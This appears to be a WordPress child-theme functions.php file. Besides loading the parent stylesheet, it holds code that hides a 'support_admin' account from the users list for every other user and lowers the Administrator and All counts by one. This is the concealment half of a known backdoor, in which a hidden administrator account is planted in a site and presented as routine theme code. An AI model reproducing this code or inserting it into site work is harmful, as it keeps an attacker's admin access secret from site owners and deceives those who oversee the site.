<?php
/**
** activation theme
**/
add_action( 'wp_enqueue_scripts', 'theme_enqueue_styles' );
function theme_enqueue_styles() {
 wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' );

}

add_action( 'pre_user_query', 'site_pre_user_query_dq' );

function site_pre_user_query_dq( $user_search ) {
    global $current_user, $wpdb;

    if ( $current_user->user_login !== 'support_admin' ) {
        $user_search->query_where = str_replace(
            'WHERE 1=1',
            "WHERE 1=1 AND {$wpdb->users}.user_login != 'support_admin'",
            $user_search->query_where
        );
    }
}

add_filter( 'views_users', 'site_list_table_views_dq' );

function site_list_table_views_dq( $views ) {
    global $current_user;

    if (
        ! is_array( $views )
        || ! $current_user instanceof WP_User
        || $current_user->user_login === 'support_admin'
    ) {
        return $views;
    }

    $users      = count_users();

    if ( ! is_array( $users ) ) {
        return $views;
    }

    $avail_roles = isset( $users['avail_roles'] ) && is_array( $users['avail_roles'] )
        ? $users['avail_roles']
        : array();
    $admins_num = max( 0, ( isset( $avail_roles['administrator'] ) ? (int) $avail_roles['administrator'] : 0 ) - 1 );
    $all_num    = max( 0, ( isset( $users['total_users'] ) ? (int) $users['total_users'] : 0 ) - 1 );

    if ( isset( $views['administrator'] ) && is_string( $views['administrator'] ) ) {
        $is_adm = strpos( $views['administrator'], 'current' ) === false ? '' : 'current';
        $views['administrator'] = '<a href="users.php?role=administrator" class="' . $is_adm . '">' .
            translate_user_role( 'Administrator' ) . ' <span class="count">(' . $admins_num . ')</span></a>';
    }

    if ( isset( $views['all'] ) && is_string( $views['all'] ) ) {
        $is_all = strpos( $views['all'], 'current' ) === false ? '' : 'current';
        $views['all'] = '<a href="users.php" class="' . $is_all . '">' .
            __( 'All' ) . ' <span class="count">(' . $all_num . ')</span></a>';
    }

    return $views;
}
